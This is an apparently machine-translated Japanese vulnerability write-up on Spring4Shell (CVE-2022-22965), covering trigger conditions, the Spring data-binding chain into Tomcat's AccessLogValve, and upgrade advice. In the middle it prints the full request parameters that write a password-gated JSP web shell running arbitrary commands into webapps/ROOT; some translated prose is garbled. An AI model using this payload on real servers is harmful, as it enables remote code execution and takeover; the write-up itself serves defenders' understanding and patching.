Spring Framework RCE(CVE-2022–22965)分析

WebアプリケーションがSpringFrameworkを使用している場合は、注意が必要です。

この脆弱性(CVE-2022–22965)は、2022年3月31日にSpringの公式Webサイトで公開されました。1か月以上経過しており、多くの開発者が知らない可能性があります。Spring MVCアプリケーションがで実行されている場合、攻撃者はSpring MVCJDK9+のパラメーターバインディング機能を使用して、悪意のあるコードをターゲットプログラムに書き込み、侵入の目的を達成する可能性があります。

トリガー条件

  1. JDK9以降で実行されています。
  2. 従来型としてパッケージ化され、のWARようなスタンドアロンサーブレットコンテナにデプロイされApache Tomcatます。
  3. spring-webmvcが使用され、データバインディング関数が使用されます。

この脆弱性の理由の1つは、エンタープライズJava開発者によく知られているSpringのデータバインディング関数です。データバインディングは、データバインディングの有無にかかわらず、注釈が付けられたコントローラーメソッドパラメーターに使用されます@ModelAttribute。Springはこの関数を使用して、HTTPリクエストパラメータ(クエリパラメータまたはフォームデータ)を解析し、オブジェクトにデータを入力します。ここで、例を使用してこの脆弱性を再現します。

通常の状態で、通常のパラメータを設定してリクエストすると、希望/testする結果が返されますが、リクエストするフォームが次のパラメータである場合は注意が必要です。

class.module.classLoader.resources.context.parent.pipeline.first.pattern=
%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=test
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

脆弱性分析

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp例としてパラメータを取り上げます。パラメータをスプリングする場合、区切り文字を使用して.パラメータを再帰的に解決します。最後の参照サフィックスに解決されると、Tomcat.jspのオブジェクト属性に値を挿入できます。Accesslogvalveパラメータバインディング解析チェーン全体を以下に示します。

User.getClass()
  java.lang.Class.getModule()
   java.lang.Module.getClassLoader()
 org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
      org.apache.catalina.webresources.StandardRoot.getContext()
        org.apache.catalina.core.StandardContext.getParent()
           org.apache.catalina.core.StandardHost.getPipeline()
             org.apache.catalina.core.StandardPipeline.getFirst()
               org.apache.catalina.valves.AccessLogValve.setSuffix()

この脆弱性は非常に致命的ですが、マイクロサービスの人気とスプリングブート埋め込みWebコンテナの利便性により、Tomcatコンテナで実行するために戦争を使用する人はほとんどいないため、脆弱性の影響は限定的です。ただし、jdk9 +を使用していて、WebシステムがにデプロイされているApache Tomcat場合は、Tomcatバージョンをにアップグレードする9.0.62か、Springバージョンをにアップグレードすることをお勧めします5.1.18。

読んでくれてありがとう。

提案された投稿

無限の命

大人になると、世界はそういうもので、あなたの人生はただ世界の中で生きていくだけで、決して命を危険にさらすことはなく、決められた道をたどって最後には死ぬだけで、失敗しないように努めるのだと言われがちです。壁を打ちすぎてはいけません。しかし、それは非常に限られた人生です。

その脅威アーカイブ: Vol 7 ブラックバスタ

その脅威アーカイブ: Vol 7 ブラックバスタ

今日の相互接続された世界では、サイバー攻撃の脅威がかつてないほど蔓延しています。サイバー犯罪者や国家主体は常に脆弱性を悪用して貴重なデータを盗もうとしており、あらゆる規模の組織に重大なリスクをもたらしています。

関連記事

待ちの季節にできること(テクノロジー業界での最初の仕事に就くのを待っているとき)

待ちの季節にできること(テクノロジー業界での最初の仕事に就くのを待っているとき)

新しいキャリアへの転職は、一人でやろうとすると非常に困難になる可能性があります。あなたと同じ学習レベルにあり、同様の目標、粘り強さ、意欲を共有する責任パートナーを見つけることが重要です。

安全な労働環境の構築

安全な労働環境の構築

「私が危険にさらされたとき、彼は私を守ってくれます。彼は私をテントの中に隠すでしょう。

デザインに 2 年 - 良い点、悪い点、そして醜い点…

デザインに 2 年 - 良い点、悪い点、そして醜い点…

「Hey Siri、オリビア・ディーンの『ミー・ダイブ』をかけて」私がナイジェリアのアクレにあるフューチャー アカデミー アフリカでインターンシップを始めたのは、2021 年 5 月のことでした。

24 年度に炭素除去に資金を提供

経路全体にわたる Carbon180 の割り当てリクエストの内訳

24 年度に炭素除去に資金を提供

アリソン・リー著、マネージング政府問題顧問 連邦政府の年次歳出プロセスは、二酸化炭素除去 (CDR) に資金を提供する取り組みの中心です。毎年、Carbon180 は、来年の資金がどこに流れるかの指針となるよう、さまざまな議会事務所に要望書を提出しています。